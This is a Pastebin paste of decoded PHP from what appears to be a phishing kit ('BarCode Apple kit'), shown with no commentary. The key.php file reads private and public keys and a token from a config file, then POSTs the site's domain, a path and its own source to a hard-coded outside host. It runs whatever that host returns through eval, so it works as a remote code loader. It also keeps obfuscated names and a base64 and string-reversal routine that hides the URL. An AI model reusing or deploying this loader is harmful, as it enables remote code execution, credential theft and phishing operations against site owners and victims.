Advertisement
Guest User

BarCode 2.1.5 decode key.php

a guest
May 21st, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.98 KB | None | 0 0
  1. <?php
  2. /* Encrypted by Mr.K4w4! */
  3. /*
  4. BarCode Apple kit v2.1.5
  5. ./key.php
  6. Decoded by @dave_daves
  7. */
  8.  
  9. /*
  10. {'Created by Mr.K4w4!'}
  11. */
  12. $key_file_content = O0O0OO0O000(); //check curl
  13. if($key_file_content == "0") {
  14. echo "Install cURL terlebih dahulu";
  15. exit();
  16. }
  17. function O0O0OO0O000(){
  18. return function_exists('curl_version');
  19. }
  20.  
  21. /*
  22. function called by index.php -->
  23. O0O0O0O0O0O("ae9ba02fb1066d27df9cc57ff9263b08b9a94d6d"); <-- path
  24. */
  25. function O0O0O0O0O0O($path){
  26. $config = @parse_ini_file('config/.key');
  27. $token = $config['private_key'];
  28. $domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
  29. eval_result(ret_page($domain,$path));
  30. }
  31. function eval_result($OO0O0O000O0O) {
  32. @eval("?>".$OO0O0O000O0O);
  33. }
  34. function ret_page($domain,$path) {
  35. $config = @parse_ini_file('config/.key');
  36. $key = $config['public_key'];
  37. $c2 = "http://badcoder45.com";
  38. $token = $config['token'];
  39. $key_file_content = key_file_content();
  40. $curl_req = curl_init();
  41. curl_setopt($curl_req, CURLOPT_URL,"http://badcoder45.com/code/2.php?token=$token");
  42. curl_setopt($curl_req, CURLOPT_POST, 1);
  43. curl_setopt($curl_req, CURLOPT_POSTFIELDS, "password=just4fun&key=$key&domain=$domain&path=$path&file=$key_file_content");
  44. curl_setopt($curl_req, CURLOPT_RETURNTRANSFER, true);
  45. $curl_out = curl_exec($curl_req);
  46. curl_close($curl_req);
  47. return $curl_out;
  48. }
  49. function O0OO0OO0O0O($domain,$path) {
  50. $config = @parse_ini_file('config/.key');
  51. $key_file_content = key_file_content();
  52. $token = $config['token'];
  53. $c2 = "http://badcoder45.com";
  54. $curl_req = curl_init();
  55. curl_setopt($curl_req, CURLOPT_URL,"http://badcoder45.com/code/5.php?token=$token");
  56. curl_setopt($curl_req, CURLOPT_POST, 1);
  57. curl_setopt($curl_req, CURLOPT_POSTFIELDS, "password=ju5t4fun&domain=$domain&path=$path&file=$key_file_content");
  58. curl_setopt($curl_req, CURLOPT_RETURNTRANSFER, true);
  59. $curl_out = curl_exec($curl_req);
  60. curl_close($curl_req);
  61. return $curl_out;
  62. }
  63. function OO0O0O0OO0() { /* return "http://badcoder45.com"... */
  64. /*
  65. $OO0O0OO0O = "bDVXYXM1MmJ1VUROeVZHWn";
  66. $O00O00O0O = "OR1poSjJMdm9EYzBSSGE=";
  67. $OO000OO0O = $OO0O0OO0O."Z".$O00O00O0O;
  68. $O0O00O00O = "JKT48_NABILA";
  69. $OOO00O00O = str_replace("JKT48","base64",$O0O00O00O);
  70. $OOO00O000 = str_replace("NABILA","decode",$OOO00O00O); //base64_decode
  71. $O0O000O0O = "VVOTA";
  72. $O0O00O0O0 = str_replace("VVO","str",$O0O000O0O);
  73. $OO0O0O0O0 = str_replace("TA","rev",$O0O00O0O0); //strrev
  74. */
  75. return "http://badcoder45.com";
  76. }
  77. function key_file_content(){
  78. $key_file = "key.php";
  79. $O0O0O0000O0 = fopen($key_file, "r");
  80. $key_file_content = fread($O0O0O0000O0, filesize($key_file));
  81. fclose($O0O0O0000O0);
  82. return urlencode($key_file_content);
  83. }
  84.  
  85. function O0O0OO0O00O($path){
  86. $config = @parse_ini_file('config/.key');
  87. $token = $config['private_key'];
  88. $domain = preg_replace('/www\./i', '', $_SERVER['SERVER_NAME']);
  89. OO0O0O000O0(O0OO0OO0O0O($domain,$path));
  90. }
  91.  
  92. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement